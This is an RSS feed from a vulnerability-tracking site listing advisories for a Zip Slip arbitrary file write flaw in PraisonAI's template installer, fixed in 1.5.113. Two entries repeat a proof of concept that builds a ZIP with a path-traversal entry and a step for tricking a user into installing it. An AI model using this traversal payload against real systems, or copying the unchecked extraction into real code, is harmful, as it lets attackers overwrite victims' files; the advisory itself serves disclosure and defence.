<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 08 Oct 2026 18:00:14 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-290237</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-290237</link>
      <description>EUVD-2026-290237</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-290237</guid>
    </item>
    <item>
      <title>fkie_cve-2026-39307</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-39307</link>
      <description>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a &amp;#34;Zip Slip&amp;#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&amp;#39;s zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a &amp;#34;Zip Slip&amp;#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&amp;#39;s zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-39307</guid>
    </item>
    <item>
      <title>GHSA-4ph2-f6pf-79wv — PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-4ph2-f6pf-79wv</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: PraisonAI&lt;/p&gt;
&lt;p&gt;The PraisonAI templates installation feature is vulnerable to a &amp;#34;Zip Slip&amp;#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&amp;#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.&lt;/p&gt;
&lt;p&gt;### Details
Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)&lt;/p&gt;
&lt;p&gt;Vulnerable Code snippet:
```python
zip_ref.extractall(tmpdir)
```&lt;/p&gt;
&lt;p&gt;During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&amp;#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&amp;#39;s filesystem.&lt;/p&gt;
&lt;p&gt;### PoC
1. Generate a malicious zip payload:
```python
import zipfile&lt;/p&gt;
&lt;p&gt;with zipfile.ZipFile(&amp;#39;malicious_template.zip&amp;#39;, &amp;#39;w&amp;#39;) as z:
    # Adding a file that traverses directories
    z.writestr(&amp;#39;../../../../../../../tmp/zip_slip_pwned.txt&amp;#39;, &amp;#39;pwned by zip slip&amp;#39;)
```
2. Trick a user into installing the malicious template:
```bash
praisonai templates install github:attacker/malicious_template
```
3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&amp;#39;s machine.&lt;/p&gt;
&lt;p&gt;### Impac…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: PraisonAI&lt;/p&gt;
&lt;p&gt;The PraisonAI templates installation feature is vulnerable to a &amp;#34;Zip Slip&amp;#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&amp;#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.&lt;/p&gt;
&lt;p&gt;### Details
Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)&lt;/p&gt;
&lt;p&gt;Vulnerable Code snippet:
```python
zip_ref.extractall(tmpdir)
```&lt;/p&gt;
&lt;p&gt;During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&amp;#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&amp;#39;s filesystem.&lt;/p&gt;
&lt;p&gt;### PoC
1. Generate a malicious zip payload:
```python
import zipfile&lt;/p&gt;
&lt;p&gt;with zipfile.ZipFile(&amp;#39;malicious_template.zip&amp;#39;, &amp;#39;w&amp;#39;) as z:
    # Adding a file that traverses directories
    z.writestr(&amp;#39;../../../../../../../tmp/zip_slip_pwned.txt&amp;#39;, &amp;#39;pwned by zip slip&amp;#39;)
```
2. Trick a user into installing the malicious template:
```bash
praisonai templates install github:attacker/malicious_template
```
3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&amp;#39;s machine.&lt;/p&gt;
&lt;p&gt;### Impac…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-4ph2-f6pf-79wv</guid>
    </item>
    <item>
      <title>PYSEC-2026-2899 — PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2899</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;The PraisonAI templates installation feature is vulnerable to a &amp;#34;Zip Slip&amp;#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&amp;#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.&lt;/p&gt;
&lt;p&gt;### Details
Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)&lt;/p&gt;
&lt;p&gt;Vulnerable Code snippet:
```python
zip_ref.extractall(tmpdir)
```&lt;/p&gt;
&lt;p&gt;During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&amp;#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&amp;#39;s filesystem.&lt;/p&gt;
&lt;p&gt;### PoC
1. Generate a malicious zip payload:
```python
import zipfile&lt;/p&gt;
&lt;p&gt;with zipfile.ZipFile(&amp;#39;malicious_template.zip&amp;#39;, &amp;#39;w&amp;#39;) as z:
    # Adding a file that traverses directories
    z.writestr(&amp;#39;../../../../../../../tmp/zip_slip_pwned.txt&amp;#39;, &amp;#39;pwned by zip slip&amp;#39;)
```
2. Trick a user into installing the malicious template:
```bash
praisonai templates install github:attacker/malicious_template
```
3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&amp;#39;s machine.&lt;/p&gt;
&lt;p&gt;### Impac…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: praisonai&lt;/p&gt;
&lt;p&gt;The PraisonAI templates installation feature is vulnerable to a &amp;#34;Zip Slip&amp;#34; Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python&amp;#39;s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory.&lt;/p&gt;
&lt;p&gt;### Details
Location: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)&lt;/p&gt;
&lt;p&gt;Vulnerable Code snippet:
```python
zip_ref.extractall(tmpdir)
```&lt;/p&gt;
&lt;p&gt;During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren&amp;#39;t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim&amp;#39;s filesystem.&lt;/p&gt;
&lt;p&gt;### PoC
1. Generate a malicious zip payload:
```python
import zipfile&lt;/p&gt;
&lt;p&gt;with zipfile.ZipFile(&amp;#39;malicious_template.zip&amp;#39;, &amp;#39;w&amp;#39;) as z:
    # Adding a file that traverses directories
    z.writestr(&amp;#39;../../../../../../../tmp/zip_slip_pwned.txt&amp;#39;, &amp;#39;pwned by zip slip&amp;#39;)
```
2. Trick a user into installing the malicious template:
```bash
praisonai templates install github:attacker/malicious_template
```
3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim&amp;#39;s machine.&lt;/p&gt;
&lt;p&gt;### Impac…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2899</guid>
    </item>
  </channel>
</rss>
